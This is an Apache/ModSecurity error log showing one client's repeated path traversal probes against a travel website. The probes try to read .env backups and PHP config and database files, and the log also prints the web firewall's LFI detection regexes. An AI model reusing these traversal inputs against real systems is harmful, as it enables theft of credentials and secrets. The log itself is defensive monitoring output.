[Fri Jul 17 08:55:07.187873 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBTwAAABs"]
[Fri Jul 17 08:55:07.187921 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDgAAAAM"]
[Fri Jul 17 08:55:07.187974 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDgAAAAM"]
[Fri Jul 17 08:55:07.189187 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDgAAAAM"]
[Fri Jul 17 08:55:07.189316 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.189586 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkxHlOGcokz2QIwTTDgAAAAM"]
[Fri Jul 17 08:55:07.193828 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYQAAABI"]
[Fri Jul 17 08:55:07.193868 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYQAAABI"]
[Fri Jul 17 08:55:07.195002 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYQAAABI"]
[Fri Jul 17 08:55:07.195180 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.195505 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUYQAAABI"]
[Fri Jul 17 08:55:07.199265 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?show=..%2F..%2Fconfig%2Fapp.php&junk=5VBI3W9RZP0j0Vp8A0lIJAiH1rO80R1OSY67LuUTM9unIQs_Y9WU8-X14aGaXvklDv_vpVfrE3a_ltw1dgV1eTD7VTxtwocU6ZgLDIobHT72UQh7tv8f71hkdH8Yx1K-bfJ6-wJepoVZZnbD2UoeTzRRxO5h0ymvsA6hxjkbVz7V0VudNokQ5DQD9XHDbOVR8gEDxX1-9kVOtqVoMB7MPIyfhz-csEfJ6qSKsklTV-xl1S8gOsxEfcxgfsCQ3iKWRqOOXmIS8gLx61-aYZXdO72i&debug=GC4VRF4GGTZQKW36X3D5PL2OBRMIY2MW37DZKVUKUAPXVBZDTVBS2K7NOB6PZ3LKERMAPK2LVII6DUUW6SZWDSS4ZY3HUOAAMF7IGXZ3KJVAE4BC7FOVLOZIOWNKQS3NUG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDwAAAAM"]
[Fri Jul 17 08:55:07.199316 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDwAAAAM"]
[Fri Jul 17 08:55:07.199363 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../config/app.php&junk=5VBI3W9RZP0j0Vp8A0lIJAiH1rO80R1OSY67LuUTM9unIQs_Y9WU8-X14aGaXvklDv_vpVfrE3a_ltw1dgV1eTD7VTxtwocU6ZgLDIobHT72UQh7tv8f71hkdH8Yx1K-bfJ6-wJepoVZZnbD2UoeTzRRxO5h0ymvsA6hxjkbVz7V0VudNokQ5DQD9XHDbOVR8gEDxX1-9kVOtqVoMB7MPIyfhz-csEfJ6qSKsklTV-xl1S8gOsxEfcxgfsCQ3iKWRqOOXmIS8gLx61-aYZXdO72i&debug=GC4VRF4GGTZQKW36X3D5PL2OBRMIY2MW37DZKVUKUAPXVBZDTVBS2K7NOB6PZ3LKERMAPK2LVII6DUUW6SZWDSS4ZY3HUOAAMF7IGXZ3KJVAE4BC7FOVLOZIOWNKQS3NUGDLEDQH2CG6Y33L..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDwAAAAM"]
[Fri Jul 17 08:55:07.199401 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../config/app.php&junk=5vbi3w9rzp0j0vp8a0lijaih1ro80r1osy67luutm9uniqs_y9wu8-x14agaxvkldv_vpvfre3a_ltw1dgv1etd7vtxtwocu6zgldiobht72uqh7tv8f71hkdh8yx1k-bfj6-wjepovzznbd2uoetzrrxo5h0ymvsa6hxjkbvz7v0vudnokq5dqd9xhdbovr8gedxx1-9kvotqvomb7mpiyfhz-csefj6qskskltv-xl1s8gosxefcxgfscq3ikwrqooxmis8glx61-ayzxdo72i&debug=gc4vrf4ggtzqkw36x3d5pl2obrmiy2mw37dzkvukuapxvbzdtvbs2k7nob6pz3lkermapk2lvii6duuw6szwdss4zy3huoaamf7igxz3kjvae4bc7fovloziownkqs3nugdledqh2cg6y33l..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDwAAAAM"]
[Fri Jul 17 08:55:07.199421 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDwAAAAM"]
[Fri Jul 17 08:55:07.199439 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDwAAAAM"]
[Fri Jul 17 08:55:07.199500 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:show: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDwAAAAM"]
[Fri Jul 17 08:55:07.200613 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTDwAAAAM"]
[Fri Jul 17 08:55:07.200769 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.201073 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkxHlOGcokz2QIwTTDwAAAAM"]
[Fri Jul 17 08:55:07.204969 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYgAAABI"]
[Fri Jul 17 08:55:07.205016 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYgAAABI"]
[Fri Jul 17 08:55:07.205092 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:show: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYgAAABI"]
[Fri Jul 17 08:55:07.206226 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUYgAAABI"]
[Fri Jul 17 08:55:07.206377 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.206694 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUYgAAABI"]
[Fri Jul 17 08:55:07.212732 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qgAAAAw"]
[Fri Jul 17 08:55:07.212777 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qgAAAAw"]
[Fri Jul 17 08:55:07.212838 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:show: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qgAAAAw"]
[Fri Jul 17 08:55:07.213970 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qgAAAAw"]
[Fri Jul 17 08:55:07.214122 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.214347 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiTsMb3am0TgkjETarAAAAAo"]
[Fri Jul 17 08:55:07.214387 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95qgAAAAw"]
[Fri Jul 17 08:55:07.234463 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?show=..%2F..%2Fconfig%2Fdatabase.php&token=SjGzYWd7aaWE_bvsm1ECobC6BifJ45dZagk37l-fRHt0I_8MzrPfNdnphZ_mZBFC-jieDynLto2LmmjV6RGok-Vd9AUeF-yGh6HGMt_A3QwUfI9G-OYnMzbnVC8JJcEsaItW66wxfEfjnzb4kMzB2W5SpJTXgWrXk1w7wkDgHMerQc9PNBXPY1rOJsB7CLzudej5XRVuEx3xjWImG9DrZ7XphVwwkU4qFCvQAy8nLUr4qX7VwOkaB-VOZk4HjA4L151dsJdMJbCIeu9gSr9Dkj3a&anything=ERDLWYIKQZWQGF6DIER6FCO5TU3ZWWP2LIRDPI3O2UCPEWMPYZMOYP7PEIVU37KNZFR5CJISVFWKE7RWRQGGBRZBNM4SYO3KS2Y2Q6XL3U2VMPAV5E5YHTQ33..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTEAAAAAM"]
